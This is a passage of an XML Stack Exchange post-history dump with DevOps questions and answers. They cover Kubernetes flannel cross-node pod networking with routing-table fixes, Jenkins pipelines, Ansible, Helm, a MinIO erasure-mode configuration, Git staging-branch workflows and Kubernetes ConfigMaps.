192.168.56.101/24 brd 192.168.56.255 scope global noprefixroute enp0s3&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::62ae:c676:da76:cbff/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;3: enp0s8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:8a:2d:63 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.0.3.15/24 brd 10.0.3.255 scope global noprefixroute dynamic enp0s8&#xD;&#xA;       valid_lft 80380sec preferred_lft 80380sec&#xD;&#xA;    inet6 fe80::952e:9af8:a1cb:8a07/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;4: docker0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc noqueue state DOWN group default &#xD;&#xA;    link/ether 02:42:04:6e:c7:dc brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;5: flannel.1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UNKNOWN group default &#xD;&#xA;    link/ether 06:cd:b1:24:62:fc brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.0.0/32 scope global flannel.1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::4cd:b1ff:fe24:62fc/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;6: cni0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default qlen 1000&#xD;&#xA;    link/ether 06:75:06:d0:17:ee brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.0.1/24 brd 10.244.0.255 scope global cni0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::475:6ff:fed0:17ee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;8: veth221fb276@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue master cni0 state UP group default &#xD;&#xA;    link/ether 62:b9:61:95:0f:73 brd ff:ff:ff:ff:ff:ff link-netnsid 1&#xD;&#xA;    inet6 fe80::60b9:61ff:fe95:f73/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The network information on `k8s-node1`.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;[root@k8s-node1 ~]# ip addr&#xD;&#xA;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xD;&#xA;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xD;&#xA;    inet 127.0.0.1/8 scope host lo&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 ::1/128 scope host &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;2: enp0s3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:ba:34:4f brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 192.168.56.102/24 brd 192.168.56.255 scope global noprefixroute enp0s3&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::660d:ec2:cb1c:49de/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;3: enp0s8: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&#xD;&#xA;    link/ether 08:00:27:48:6d:8b brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.0.3.15/24 brd 10.0.3.255 scope global noprefixroute dynamic enp0s8&#xD;&#xA;       valid_lft 80039sec preferred_lft 80039sec&#xD;&#xA;    inet6 fe80::62af:7770:3b6d:6576/64 scope link noprefixroute &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;4: docker0: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc noqueue state DOWN group default &#xD;&#xA;    link/ether 02:42:e4:65:f4:28 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;5: flannel.1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UNKNOWN group default &#xD;&#xA;    link/ether 8e:d3:79:63:40:22 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.1.0/32 scope global flannel.1&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::8cd3:79ff:fe63:4022/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;6: cni0: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default qlen 1000&#xD;&#xA;    link/ether 8e:22:8d:e5:29:24 brd ff:ff:ff:ff:ff:ff&#xD;&#xA;    inet 10.244.1.1/24 brd 10.244.1.255 scope global cni0&#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;    inet6 fe80::8c22:8dff:fee5:2924/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;8: veth5314dbaf@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue master cni0 state UP group default &#xD;&#xA;    link/ether 82:58:1c:3a:a1:a3 brd ff:ff:ff:ff:ff:ff link-netnsid 1&#xD;&#xA;    inet6 fe80::8058:1cff:fe3a:a1a3/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;10: calic849a8cefe4@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 2&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;11: cali82f9786c604@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 3&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;12: caliaa01fae8214@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 4&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;13: cali88097e17cd0@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 5&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;15: cali788346fba46@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;16: caliafdfba3871a@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 6&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;18: cali329803e4ee5@if3: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1450 qdisc noqueue state UP group default &#xD;&#xA;    link/ether ee:ee:ee:ee:ee:ee brd ff:ff:ff:ff:ff:ff link-netnsid 7&#xD;&#xA;    inet6 fe80::ecee:eeff:feee:eeee/64 scope link &#xD;&#xA;       valid_lft forever preferred_lft forever&#xD;&#xA;```&#xD;&#xA;I make a table to simplify the network information.&#xD;&#xA;&#xD;&#xA;    | k8s-master1                               | k8s-node1                                  |&#xD;&#xA;    | ----------------------------------------- | ------------------------------------------ |&#xD;&#xA;    | NAT               10.0.3.15/24    enp0s8  | NAT                10.0.3.15/24    enp0s8  |&#xD;&#xA;    | Host-Only     192.168.56.101/24    enp0s3 | Host-Only      192.168.56.102/24    enp0s3 |&#xD;&#xA;    | docker0        172.17.0.1/16              | docker0         172.17.0.1/16              |&#xD;&#xA;    | flannel.1       10.244.1.0/32             | flannel.1        10.244.1.0/32             |&#xD;&#xA;    | cni0               10.244.1.1/24          | cni0                10.244.1.1/24          |&#xD;&#xA;&#xD;&#xA;### **Problem Description**&#xD;&#xA;&#xD;&#xA;**Test case1:**&#xD;&#xA;&#xD;&#xA;Expose Kubernetes Service `nginx-svc` as NodePort, and Pod `nginx` is running on `k8s-node1`。&#xD;&#xA;&#xD;&#xA;*View the NodePort of nginx-svc* &#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;[root@k8s-master1 ~]# kubectl get svc &#xD;&#xA;NAME                    TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)        AGE&#xD;&#xA;nginx-svc               NodePort    10.103.236.60    &lt;none&gt;        80:30309/TCP   9h&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Run command `curl http://localhost:30309` on `k8s-master1`. Finally, it returns `Connection timed out`.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Run command `curl http://localhost:30309` on `k8s-node1`. It returns response.&#xD;&#xA;&#xD;&#xA;   [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Test case 2**: &#xD;&#xA;&#xD;&#xA;I created another Pod nginx on `k8s-master1`. There is already  a Pod nginx on `k8s-node1`. Make a call from the Pod nginx on `k8s-master1` to the Pod nginx on `k8s-node1`. It also `Connection timed out`. The problem is very likely to [could not communicate cross node's pod in kubernetes cluster using flannel](https://stackoverflow.com/questions/62171023/could-not-communicate-cross-nodes-pod-in-kubernetes-cluster-using-flannel)&#xD;&#xA;&#xD;&#xA;**Test case 3**: &#xD;&#xA;&#xD;&#xA;If 2 nginx pod on the same node, whatever `k8s-master1` or `k8s-node1`. The connection is ok. The pod can get response from another pod.&#xD;&#xA;&#xD;&#xA;**Test case 4:**&#xD;&#xA;&#xD;&#xA;I did several `ping` requests from `k8s-master1` to `k8s-node1` using different IP address.&#xD;&#xA;&#xD;&#xA;Ping `k8s-node1`'s Host-Only IP address:          **Connection Success**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;ping 192.168.56.102&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ping `k8s-node1`'s flannel.1 IP address:             **Connection Failed**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;ping 10.244.1.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ping `k8s-node1`'s cni0 IP address:                      **Connection Failed**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;ping 10.244.1.1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Test case 5:**&#xD;&#xA;&#xD;&#xA;I setup a new k8s cluster using bridge network on the same laptop. Test case 1,2,3,4 cannot be reproduced. No problem of 'Pod-to-Pod Communication Cross Nodes'.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### **Guess**&#xD;&#xA;&#xD;&#xA;1. Firewall. I disabled the firewall on all VMs. Also the firewall on laptop(Win 10), including any antivirus software. The connection problem is still there.&#xD;&#xA;&#xD;&#xA;2. Compare the iptables between k8s cluster attached NAT &amp; Host-Only with k8s cluster attached bridge network. Not found any big difference.&#xD;&#xA;&#xD;&#xA;   ```&#xD;&#xA;   yum install -y net-tools&#xD;&#xA;   iptables -L&#xD;&#xA;   ```&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;### **Solution**&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;# install route&#xD;&#xA;[root@k8s-master1 tzhong]# yum install -y net-tools&#xD;&#xA;&#xD;&#xA;# View routing table after k8s cluster installed thru. kubeadm.&#xD;&#xA;[root@k8s-master1 tzhong]# route&#xD;&#xA;Kernel IP routing table&#xD;&#xA;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;default         gateway         0.0.0.0         UG    100    0        0 enp0s3&#xD;&#xA;10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 enp0s3&#xD;&#xA;10.244.0.0      0.0.0.0         255.255.255.0   U     0      0        0 cni0&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 flannel.1&#xD;&#xA;172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0&#xD;&#xA;192.168.56.0    0.0.0.0         255.255.255.0   U     101    0        0 enp0s8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Focus on the below routing table rule. This rule means that all the requests from `k8s-master1`, and the destination is `10.244.1.0/24` will be forwarded by `flannel.1`. &#xD;&#xA;&#xD;&#xA;But seems that the `flannel.1` has some problems. So I just have a try. Add a new routing table rule that all the requests from `k8s-master1`, and the destination is `10.244.1.0/24` will be forwarded by `enp0s8`. &#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;# Run below commands on k8s-master1 to add routing table rules. 10.244.1.0 is the IP address of flannel.1 on k8s-node1.&#xD;&#xA;route add -net 10.244.1.0 netmask 255.255.255.0 enp0s8&#xD;&#xA;route add -net 10.244.1.0 netmask 255.255.255.0 gw 10.244.1.0&#xD;&#xA;&#xD;&#xA;[root@k8s-master1 ~]# route&#xD;&#xA;Kernel IP routing table&#xD;&#xA;Destination     Gateway         Genmask         Flags Metric Ref    Use Iface&#xD;&#xA;default         gateway         0.0.0.0         UG    100    0        0 enp0s3&#xD;&#xA;10.0.2.0        0.0.0.0         255.255.255.0   U     100    0        0 enp0s3&#xD;&#xA;10.244.0.0      0.0.0.0         255.255.255.0   U     0      0        0 cni0&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 enp0s8&#xD;&#xA;10.244.1.0      0.0.0.0         255.255.255.0   U     0      0        0 enp0s8&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 flannel.1&#xD;&#xA;172.17.0.0      0.0.0.0         255.255.0.0     U     0      0        0 docker0&#xD;&#xA;192.168.56.0    0.0.0.0         255.255.255.0   U     101    0        0 enp0s8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Two additional routing table rules has been added.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;10.244.1.0      10.244.1.0      255.255.255.0   UG    0      0        0 enp0s8&#xD;&#xA;10.244.1.0      0.0.0.0         255.255.255.0   U     0      0        0 enp0s8&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Do the same way on `k8s-node1`.&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA;# Run below commands on k8s-node1 to add routing table rules. 10.244.0.0 is the IP address of flannel.1 on k8s-master1.&#xD;&#xA;route add -net 10.244.0.0 netmask 255.255.255.0 enp0s8&#xD;&#xA;route add -net 10.244.0.0 netmask 255.255.255.0 gw 10.244.0.0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Do test case 1,2,3,4,5 again. All passed.** I am confused, why? I have a couple of questions.&#xD;&#xA;&#xD;&#xA;### Questions:&#xD;&#xA;&#xD;&#xA;1. Why the connection of `flannel.1` is blocked? Any way/methods to investigation?&#xD;&#xA;&#xD;&#xA;2. Is that a limitation of Host-Only network interface with flannel? If I change to other CNI plugins, the connection will be ok?&#xD;&#xA;&#xD;&#xA;3. After add routing tables using `enp0s8`, why the connection becomes ok?&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/HukIz.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/YcPIG.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="39439" PostHistoryTypeId="4" PostId="12849" RevisionGUID="b4a19805-14f0-45ea-9b56-592cd53f6b61" CreationDate="2020-11-25T16:21:04.450" UserId="40" Comment="deleted 58 characters in body; edited title" Text="How to troubleshoot Pod-to-Pod communication cross nodes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39440" PostHistoryTypeId="2" PostId="12855" RevisionGUID="80a57491-05a4-491c-ab7e-44572bb8939e" CreationDate="2020-11-25T17:40:52.583" UserId="16143" Text="If the `if` command construct is very complex for you, you can always simply it like&#xD;&#xA;&#xD;&#xA;    RUN [ -n &quot;$VAR&quot; ]&#xD;&#xA;&#xD;&#xA;This asserts the variable value length is nonzero. If it's empty or not set it'll exit with 1. This is also same as running `RUN test -n &quot;$VAR&quot;`&#xD;&#xA;&#xD;&#xA;I see this error message on my machine&#xD;&#xA;&#xD;&#xA;    The command '/bin/sh -c [ -n &quot;$VAR&quot; ]' returned a non-zero code: 1&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39441" PostHistoryTypeId="2" PostId="12856" RevisionGUID="1d5474b8-9e80-4e60-b996-cfa6ba796c0f" CreationDate="2020-11-25T18:11:49.227" UserId="354" Text="I have a github multibranch pipeline, in declarative format. It is configured to trigger on pushes to pull request branches (ie, branches which are included in pull requests to a target branch, say `main`.&#xD;&#xA;&#xD;&#xA;If a new commit comes in before the execution of a previous commit is finished, this will trigger a concurrent build of the pipeline. I want to maintain this behaviour, but **need to know if there is a new pipeline running** in one of the stages.&#xD;&#xA;&#xD;&#xA;Ie I want a groovy script step like this pseudo code:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;if (build_number + 1) is_currently_running&#xD;&#xA;  do one thing&#xD;&#xA;else&#xD;&#xA;  do something else&#xD;&#xA;```&#xD;&#xA;Is there any way to ask Jenkins if build n+1 is running?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39442" PostHistoryTypeId="1" PostId="12856" RevisionGUID="1d5474b8-9e80-4e60-b996-cfa6ba796c0f" CreationDate="2020-11-25T18:11:49.227" UserId="354" Text="How can I check if there is a new build the same jenkins pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="39443" PostHistoryTypeId="3" PostId="12856" RevisionGUID="1d5474b8-9e80-4e60-b996-cfa6ba796c0f" CreationDate="2020-11-25T18:11:49.227" UserId="354" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39445" PostHistoryTypeId="2" PostId="12857" RevisionGUID="bbbdb5ac-6442-4658-92b9-6663241dbd98" CreationDate="2020-11-25T19:39:25.530" UserId="24539" Text="Judging by the [documentation][1], the result of your `run multiple commands on remote nodes` block is an array. You're writing only the first item of that array with `{{ print_output.stdout[0] }}`. The `[0]` here is the pointer to the first element of the array. Try removing it and see if the result fits your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/2.3/ios_command_module.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="39446" PostHistoryTypeId="2" PostId="12858" RevisionGUID="66b61306-b932-46f4-bf72-3eb2c87e3a86" CreationDate="2020-11-25T19:43:18.527" UserId="24539" Text="Single quotes in shell meant to leave the enclosed string 'as is'. That is the variable inside single quotes isn't going to be evaluated. Try changing `'${WORKSPACE}'` for `&quot;${WORKSPACE}&quot;`." ContentLicense="CC BY-SA 4.0" />
  <row Id="39447" PostHistoryTypeId="5" PostId="12853" RevisionGUID="487608be-549a-45ff-9359-cbe8c90bf42b" CreationDate="2020-11-25T20:30:43.390" UserId="18007" Comment="added 51 characters in body" Text="I have the below command in my Jenkinsfile:&#xD;&#xA;&#xD;&#xA;    docker run --rm -v '${WORKSPACE}':/var/cache/de --entrypoint=/usr/local/bin/pytest ${IMAGE_NAME}:${IMAGE_VERSION} -m &quot;not require_dss&quot; -s -v --cov-report term --cov=app_dss_bundle --junitxml=/var/cache/de/rtest.xml tests&#xD;&#xA;    &#xD;&#xA;    ls -l&#xD;&#xA;&#xD;&#xA;but for some reason, I can't see the `rtest.xml` in the path afterward. it works for me in my private linux docker env.&#xD;&#xA;BTW, the jenkins itself runs on openshift cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="39448" PostHistoryTypeId="2" PostId="12859" RevisionGUID="0d68bdf3-da95-411e-a881-ddcf154e0fa9" CreationDate="2020-11-26T04:00:41.030" UserId="24891" Text="*Below worked for me in helm-3:*&#xD;&#xA;&#xD;&#xA;1. Get the name of the release of which you want to get charts using&#xD;&#xA;        `helm list`&#xD;&#xA;2. `helm get manifest [release name]`&#xD;&#xA;&#xD;&#xA;You can write this to some text file instead of stdout and separate the charts. **( Cheers )**&#xD;&#xA;&#xD;&#xA;**Note:** *You will need to create persistedVolumes &amp; PVC's. Those are not exported using above command*" ContentLicense="CC BY-SA 4.0" />
  <row Id="39450" PostHistoryTypeId="2" PostId="12861" RevisionGUID="a93ce94b-bf24-45f3-b62e-2a82360b3f80" CreationDate="2020-11-26T10:26:39.217" UserId="24895" Text="Why my files uploaded to only one server and not distributed among the servers in distributed erasure mode?&#xD;&#xA;&#xD;&#xA;I have 3 servers, the first two has 8 drives, and the third one has 16 drive.&#xD;&#xA;my starter config is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;export MINIO_ACCESS_KEY=minio&#xD;&#xA;export MINIO_SECRET_KEY=minio123&#xD;&#xA;export MINIO_STORAGE_CLASS_STANDARD=&quot;EC:16&quot;&#xD;&#xA;export MINIO_STORAGE_CLASS_RSS=&quot;EC:2&quot;&#xD;&#xA;./minio server \&#xD;&#xA;http://firs_one:9000/data/export{1...8} \&#xD;&#xA;http://second_one:9000/data/export{1...8} \&#xD;&#xA;http://third_one:9000/data/export{1...16}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="39451" PostHistoryTypeId="1" PostId="12861" RevisionGUID="a93ce94b-bf24-45f3-b62e-2a82360b3f80" CreationDate="2020-11-26T10:26:39.217" UserId="24895" Text="Why MINIO save file in only one server, in distributed erasure mode" ContentLicense="CC BY-SA 4.0" />
  <row Id="39452" PostHistoryTypeId="3" PostId="12861" RevisionGUID="a93ce94b-bf24-45f3-b62e-2a82360b3f80" CreationDate="2020-11-26T10:26:39.217" UserId="24895" Text="&lt;storage&gt;&lt;s3fs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39453" PostHistoryTypeId="2" PostId="12862" RevisionGUID="36713d60-1317-4228-bb01-5914f7d6be5a" CreationDate="2020-11-26T12:10:23.477" UserId="24896" Text="I have a ready jenkins build parameters , I want to use/link the same in webpage UI (that to be created).&#xD;&#xA;Need help on - what are various possible way to achieve this ? any document , link would be more appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="39454" PostHistoryTypeId="1" PostId="12862" RevisionGUID="36713d60-1317-4228-bb01-5914f7d6be5a" CreationDate="2020-11-26T12:10:23.477" UserId="24896" Text="How to use jenkins build parameter in web ui?" ContentLicense="CC BY-SA 4.0" />
  <row Id="39455" PostHistoryTypeId="3" PostId="12862" RevisionGUID="36713d60-1317-4228-bb01-5914f7d6be5a" CreationDate="2020-11-26T12:10:23.477" UserId="24896" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39456" PostHistoryTypeId="2" PostId="12863" RevisionGUID="908c5174-c6fd-407e-80c9-7395960e8f36" CreationDate="2020-11-26T12:36:43.210" UserId="24897" Text="We're creating a migration workflow to move from SVN to Git, and we've hit a particular snag that is increasing the complexity of the proposed workflow.  &#xD;&#xA;&#xD;&#xA;Some basic base for what we do in our current workflow:&#xD;&#xA;1. we operate on a regular monthly release cycle, where multiple projects (features) are bundled together into a single production release&#xD;&#xA;2. each production release has its own &quot;staging&quot; branch, which means that multiple projects (= 1 release) are staged and tested together&#xD;&#xA;3. there are multiple staging environments, which means that one production release can be tested on multiple staging branches first, each for a different environment.&#xD;&#xA;4. each &quot;release&quot; has a single develop branch, in which the projects of that release are merged into. This develop branch is then used to create the &quot;staging&quot; branch&#xD;&#xA;&#xD;&#xA;We are trying to emulate the same flow in git as much as we can - however :&#xD;&#xA;&#xD;&#xA;Consider the following case : &#xD;&#xA;&#xD;&#xA;release1 = project/A, project/B &gt; (merge) &gt; develop/20201130 &gt; staging/20201130  [&gt; (merge) master (tag v1.X)]&#xD;&#xA;release2 = project/C, project/D &gt; (merge) &gt; develop/20201031 &gt; staging/20201031  [&gt; (merge) master (tag v1.X)]&#xD;&#xA;&#xD;&#xA;Now, if staging/20201130 already exists when staging/20201031 is created, then staging/20201130 will need to pull the code from staging/20201031 because staging/20201031 will be released before staging/20201130.&#xD;&#xA;&#xD;&#xA;However, if release2 (20201031) changes (for ex: its release date changes, or staging/20201031 is updated/deleted), then release/20201130 will have to be updated again, which gets messy if release/20201130 has also undergone changes during this time.&#xD;&#xA;&#xD;&#xA;Basically, I want to know if there is a workflow or if someone has experience in working with multiple interdependent staging branches that need to be updated/modified depending on the status of other staging branches.&#xD;&#xA;&#xD;&#xA;(Sorry if I cant articulate it well enough, or if this is a very basic question. I also have a feeling somewhere my lack of advanced git knowledge is making me overthink this)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39457" PostHistoryTypeId="1" PostId="12863" RevisionGUID="908c5174-c6fd-407e-80c9-7395960e8f36" CreationDate="2020-11-26T12:36:43.210" UserId="24897" Text="Managing multiple &quot;staging&quot; branches in a git workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="39458" PostHistoryTypeId="3" PostId="12863" RevisionGUID="908c5174-c6fd-407e-80c9-7395960e8f36" CreationDate="2020-11-26T12:36:43.210" UserId="24897" Text="&lt;git&gt;&lt;gitlab&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="39459" PostHistoryTypeId="2" PostId="12864" RevisionGUID="842b3491-a8c1-4822-8367-ca6895db57c8" CreationDate="2020-11-26T13:05:13.023" UserId="13139" Text="YAML anchors are supported, but only for the same YAML file. You can't create the anchor (`&amp;`) on a deployment file and reference (`*`) the value on another one.&#xD;&#xA;&#xD;&#xA;If you want to share ENVs values across multiple Deployments, you can create a ConfigMap with the ENVs and use the [`envFrom`][1] spec. Example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: ConfigMap&#xD;&#xA;metadata:&#xD;&#xA;  name: my-configmap&#xD;&#xA;data:&#xD;&#xA;  FIRST_ENV: my-value&#xD;&#xA;  SECOND_ENV: another-value&#xD;&#xA;---  &#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: beat&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: beat&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: beat&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: beat&#xD;&#xA;        image: myimage&#xD;&#xA;        command: [&quot;celery&quot;, &quot;-A&quot;, &quot;wsgi.celery&quot;, &quot;beat&quot;]&#xD;&#xA;        envFrom:&#xD;&#xA;        - configMapRef:&#xD;&#xA;            name: my-configmap&#xD;&#xA;---&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: flower&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: flower&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: flower&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;      - name: flower&#xD;&#xA;        image: myimage&#xD;&#xA;        command: [&quot;celery&quot;, &quot;flower&quot;, &quot;-A&quot;, &quot;wsgi.celery&quot;]&#xD;&#xA;        envFrom:&#xD;&#xA;        - configMapRef:&#xD;&#xA;            name: my-configmap&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#configure-all-key-value-pairs-in-a-configmap-as-container-environment-variables" ContentLicense="CC BY-SA 4.0" />
